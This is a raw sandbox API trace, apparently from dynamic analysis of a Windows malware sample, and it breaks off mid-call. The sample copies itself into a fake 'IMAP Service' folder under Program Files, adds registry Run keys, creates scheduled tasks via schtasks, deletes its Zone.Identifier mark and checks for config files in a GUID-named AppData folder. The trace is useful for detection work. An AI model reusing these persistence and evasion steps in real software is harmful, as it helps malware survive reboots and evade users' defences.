GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e488, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47 [0171.315] GetLastError () returned 0x0 [0171.315] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe", nBufferLength=0x105, lpBuffer=0x18e488, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe", lpFilePart=0x0) returned 0x2e [0171.315] GetLastError () returned 0x0 [0171.316] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe"), lpNewFileName="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe" (normalized: "c:\\program files (x86)\\imap service\\imapsv.exe"), bFailIfExists=1) returned 1 [0171.334] GetLastError () returned 0x0 [0171.334] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x18e91c | out: phkResult=0x18e91c*=0x204) returned 0x0 [0171.335] RegQueryValueExW (in: hKey=0x204, lpValueName="IMAP Service", lpReserved=0x0, lpType=0x18e91c, lpData=0x0, lpcbData=0x18e918*=0x0 | out: lpType=0x18e91c*=0x0, lpData=0x0, lpcbData=0x18e918*=0x0) returned 0x2 [0171.409] RegSetValueExW (in: hKey=0x204, lpValueName="IMAP Service", Reserved=0x0, dwType=0x1, lpData="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe", cbData=0x5e | out: lpData="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe") returned 0x0 [0171.421] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x18e8e8 | out: phkResult=0x18e8e8*=0x200) returned 0x0 [0171.421] RegQueryValueExW (in: hKey=0x200, lpValueName="IMAP Service", lpReserved=0x0, lpType=0x18e924, lpData=0x0, lpcbData=0x18e920*=0x0 | out: lpType=0x18e924*=0x0, lpData=0x0, lpcbData=0x18e920*=0x0) returned 0x2 [0171.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47 [0171.421] GetLastError () returned 0x0 [0172.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\IMAP Service\\imapsv.exe", nBufferLength=0x105, lpBuffer=0x18e48c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\IMAP Service\\imapsv.exe", lpFilePart=0x0) returned 0x6a [0172.413] GetLastError () returned 0x0 [0172.413] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\IMAP Service\\imapsv.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\imap service\\imapsv.exe")) returned 0 [0172.413] GetLastError () returned 0x3 [0173.695] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e474, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47 [0173.695] GetLastError () returned 0x2 [0173.695] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e474, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47 [0173.695] GetLastError () returned 0x2 [0175.104] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x612688 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0175.104] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x18e478, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0175.105] GetLastError () returned 0x2 [0175.105] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x18e4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31 [0175.105] GetLastError () returned 0x2 [0175.105] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x18e440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31 [0175.105] GetLastError () returned 0x2 [0175.106] GetTempFileNameW (in: lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpPrefixString="tmp", uUnique=0x0, lpTempFileName=0x612688 | out: lpTempFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmp4ef.tmp")) returned 0x4ef [0175.106] GetLastError () returned 0x0 [0175.107] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp", nBufferLength=0x105, lpBuffer=0x18e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp", lpFilePart=0x0) returned 0x3b [0175.107] GetLastError () returned 0x0 [0175.107] SetErrorMode (uMode=0x1) returned 0x0 [0175.107] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmp4ef.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x220 [0175.107] GetLastError () returned 0xb7 [0175.107] GetFileType (hFile=0x220) returned 0x1 [0175.107] SetErrorMode (uMode=0x0) returned 0x1 [0175.107] GetFileType (hFile=0x220) returned 0x1 [0175.108] CloseHandle (hObject=0x220) returned 1 [0175.109] GetLastError () returned 0xb7 [0175.702] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x612688 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp") returned 0x30 [0175.702] GetLastError () returned 0xb7 [0175.703] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"schtasks.exe\" /create /f /tn \"IMAP Service\" /xml \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", lpStartupInfo=0x6126a0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x234ee74 | out: lpCommandLine="\"schtasks.exe\" /create /f /tn \"IMAP Service\" /xml \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp\"", lpProcessInformation=0x234ee74*(hProcess=0x224, hThread=0x220, dwProcessId=0xb60, dwThreadId=0xb64)) returned 1 [0175.706] GetLastError () returned 0xb7 [0175.706] CloseHandle (hObject=0x220) returned 1 [0175.706] GetLastError () returned 0xb7 [0175.707] GetCurrentProcess () returned 0xffffffff [0175.707] GetLastError () returned 0xb7 [0175.707] GetCurrentProcess () returned 0xffffffff [0175.707] GetLastError () returned 0xb7 [0175.708] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x224, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x18e8b8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x18e8b8*=0x220) returned 1 [0175.708] GetLastError () returned 0xb7 [0178.091] CloseHandle (hObject=0x220) returned 1 [0178.091] GetLastError () returned 0xb7 [0178.277] GetExitCodeProcess (in: hProcess=0x224, lpExitCode=0x18e934 | out: lpExitCode=0x18e934*=0x0) returned 1 [0178.277] GetLastError () returned 0xb7 [0178.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp", nBufferLength=0x105, lpBuffer=0x18e4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp", lpFilePart=0x0) returned 0x3b [0178.277] GetLastError () returned 0xb7 [0178.277] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmp4ef.tmp")) returned 1 [0178.277] GetLastError () returned 0xb7 [0178.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e474, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47 [0178.277] GetLastError () returned 0xb7 [0178.281] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\task.dat", nBufferLength=0x105, lpBuffer=0x18e340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\task.dat", lpFilePart=0x0) returned 0x5b [0178.281] GetLastError () returned 0xb7 [0178.281] SetErrorMode (uMode=0x1) returned 0x0 [0178.281] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\task.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\task.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x220 [0178.282] GetLastError () returned 0x0 [0178.282] GetFileType (hFile=0x220) returned 0x1 [0178.282] SetErrorMode (uMode=0x0) returned 0x1 [0178.282] GetFileType (hFile=0x220) returned 0x1 [0178.282] WriteFile (in: hFile=0x220, lpBuffer=0x2350e70*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x18e898, lpOverlapped=0x0 | out: lpBuffer=0x2350e70*, lpNumberOfBytesWritten=0x18e898*=0x47, lpOverlapped=0x0) returned 1 [0178.282] GetLastError () returned 0x0 [0178.282] CloseHandle (hObject=0x220) returned 1 [0178.283] GetLastError () returned 0x0 [0178.283] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x612688 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0178.283] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x18e478, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0178.284] GetLastError () returned 0x0 [0178.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x18e4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31 [0178.284] GetLastError () returned 0x0 [0178.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x18e440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31 [0178.284] GetLastError () returned 0x0 [0178.284] GetTempFileNameW (in: lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpPrefixString="tmp", uUnique=0x0, lpTempFileName=0x612688 | out: lpTempFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmpd88.tmp")) returned 0xd88 [0178.284] GetLastError () returned 0x0 [0178.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp", nBufferLength=0x105, lpBuffer=0x18e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp", lpFilePart=0x0) returned 0x3b [0178.284] GetLastError () returned 0x0 [0178.284] SetErrorMode (uMode=0x1) returned 0x0 [0178.285] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmpd88.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x220 [0178.285] GetLastError () returned 0xb7 [0178.285] GetFileType (hFile=0x220) returned 0x1 [0178.285] SetErrorMode (uMode=0x0) returned 0x1 [0178.285] GetFileType (hFile=0x220) returned 0x1 [0178.285] WriteFile (in: hFile=0x220, lpBuffer=0x2354a88*, nNumberOfBytesToWrite=0x51d, lpNumberOfBytesWritten=0x18e888, lpOverlapped=0x0 | out: lpBuffer=0x2354a88*, lpNumberOfBytesWritten=0x18e888*=0x51d, lpOverlapped=0x0) returned 1 [0178.285] GetLastError () returned 0xb7 [0178.285] CloseHandle (hObject=0x220) returned 1 [0178.286] GetLastError () returned 0xb7 [0178.286] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x612688 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp") returned 0x30 [0178.286] GetLastError () returned 0xb7 [0178.286] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"schtasks.exe\" /create /f /tn \"IMAP Service Task\" /xml \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", lpStartupInfo=0x6126a0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2355d58 | out: lpCommandLine="\"schtasks.exe\" /create /f /tn \"IMAP Service Task\" /xml \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp\"", lpProcessInformation=0x2355d58*(hProcess=0x22c, hThread=0x220, dwProcessId=0xb78, dwThreadId=0xb7c)) returned 1 [0178.289] GetLastError () returned 0xb7 [0178.289] CloseHandle (hObject=0x220) returned 1 [0178.289] GetLastError () returned 0xb7 [0178.289] GetCurrentProcess () returned 0xffffffff [0178.289] GetLastError () returned 0xb7 [0178.289] GetCurrentProcess () returned 0xffffffff [0178.289] GetLastError () returned 0xb7 [0178.289] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x22c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x18e8b8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x18e8b8*=0x220) returned 1 [0178.289] GetLastError () returned 0xb7 [0182.433] CloseHandle (hObject=0x220) returned 1 [0182.434] GetLastError () returned 0xb7 [0182.434] GetExitCodeProcess (in: hProcess=0x22c, lpExitCode=0x18e934 | out: lpExitCode=0x18e934*=0x0) returned 1 [0182.434] GetLastError () returned 0xb7 [0182.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp", nBufferLength=0x105, lpBuffer=0x18e4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp", lpFilePart=0x0) returned 0x3b [0182.434] GetLastError () returned 0xb7 [0182.434] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmpd88.tmp")) returned 1 [0182.434] GetLastError () returned 0xb7 [0182.436] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47 [0182.436] GetLastError () returned 0xb7 [0182.440] DeleteFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe:Zone.Identifier" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe:zone.identifier")) returned 0 [0182.467] GetSystemInfo (in: lpSystemInfo=0x18e1c0 | out: lpSystemInfo=0x18e1c0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0182.468] GetLastError () returned 0x2 [0182.954] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\catalog.dat", nBufferLength=0x105, lpBuffer=0x18e340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\catalog.dat", lpFilePart=0x0) returned 0x5e [0182.954] GetLastError () returned 0x0 [0182.954] SetErrorMode (uMode=0x1) returned 0x0 [0182.954] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\catalog.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\catalog.dat"), fInfoLevelId=0x0, lpFileInformation=0x18e7c0 | out: lpFileInformation=0x18e7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0182.955] GetLastError () returned 0x2 [0182.955] SetErrorMode (uMode=0x0) returned 0x1 [0182.984] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\storage.dat", nBufferLength=0x105, lpBuffer=0x18e348, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\storage.dat", lpFilePart=0x0) returned 0x5e [0182.984] GetLastError () returned 0x2 [0182.984] SetErrorMode (uMode=0x1) returned 0x0 [0182.984] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\storage.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\storage.dat"), fInfoLevelId=0x0, lpFileInformation=0x18e7c8 | out: lpFileInformation=0x18e7c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0182.984] GetLastError () returned 0x2 [0182.984] SetErrorMode (uMode=0x0) returned 0x1 [0186.005] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\settings.bin", nBufferLength=0x105, lpBuffer=0x18e468, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\settings.bin", lpFilePart=0x0) returned 0x5f [0186.005] GetLastError () returned 0x2 [0186.005] SetErrorMode (uMode=0x1) returned 0x0 [0186.005] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\settings.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\settings.bin"), fInfoLevelId=0x0, lpFileInformation=0x18e8e8 | out: lpFileInformation=0x18e8e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0186.005] GetLastError () returned 0x2 [0186.005] SetErrorMode (uMode=0x0) returned 0x1 [0186.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\settings.bak", nBufferLength=0x105, lpBuffer=0x18e380, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\settings.bak", lpFilePart=0x0) returned 0x5f [0186.376] GetLastError () returned 0x2 [0186.376] SetErrorMode (uMode=0x1) returned 0x0 [0186.376] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\settings.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\settings.bak"), fInfoLevelId=0x0, lpFileInformation=0x18e800 | out: lpFileInformation=0x18e800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0186.376] GetLastError () returned 0x2 [0186.376] SetErrorMode (uMode=0x0) returned 0x1 [0187.112] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x18db64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", lpFilePart=0x0) returned 0x4a [0187.112] GetLastError () returned 0x0 [0187.115] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x18db20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", lpFilePart=0x0) returned 0x4a [0187.115] GetLastError () returned 0x0 [0187.118] GetUserNameW (in: lpBuffer=0x612688, pcbBuffer=0x18e15c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e15c) returned 1 [0187.146] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Logs\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x18dc9c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Logs\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x6c [0187.146] GetLastError () returned 0x0 [0187.146] SetErrorMode (uMode=0x1) returned 0x0 [0187.146] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Logs\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\logs\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x18e0b8 | out: lpFileInformation=0x18e0b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0187.146] GetLastError () returned 0x3 [0187.146] SetErrorMode (uMode=0x0) returned 0x1 [0187.146] SetErrorMode (uMode=0x1) returned 0x0 [0187.146] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Logs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\logs"), fInfoLevelId=0x0, lpFileInformation=0x18e0b8 